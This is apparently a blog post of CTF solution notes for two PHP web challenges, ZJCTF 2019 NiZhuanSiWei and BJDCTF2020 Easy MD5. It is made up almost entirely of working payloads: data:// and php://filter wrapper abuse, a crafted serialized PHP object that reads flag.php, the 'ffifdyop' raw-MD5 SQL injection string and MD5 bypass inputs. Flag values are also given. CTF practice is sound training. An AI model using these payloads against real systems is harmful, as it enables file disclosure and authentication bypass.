0
点赞
收藏
分享

微信扫一扫

CTF做题笔记10

斗米 2022-04-04 阅读 45

[ZJCTF 2019]NiZhuanSiWei

?text=data://text/pain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

welcome to the zjctf

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
<?php

class Flag
{  //flag.php  
    public $file;
    public function __tostring()
    {
        if (isset($this->file)) {
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}

$a = new Flag();
$a->file = "flag.php";
echo serialize($a);
?>
// O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
?text=data://text/pain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
<!--?php

if(2===3){  
	return ("flag{4fa36ffa-92b8-4074-8f79-398074f0cf6d}");
}

?-->

[BJDCTF2020]Easy MD5

select * from 'admin' where password=md5($pass,true)
?password=ffifdyop
param1[]=QNKCDZO&param2[]=s155964671a
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} flag{dfbfa6e9-60e7-40f6-b649-72bafca9fea9}
举报

相关推荐

ctf_game做题解析

做题笔记(一)

CTF笔记

做题笔记--双指针

图论做题笔记:dfs

ctf学习笔记

0 条评论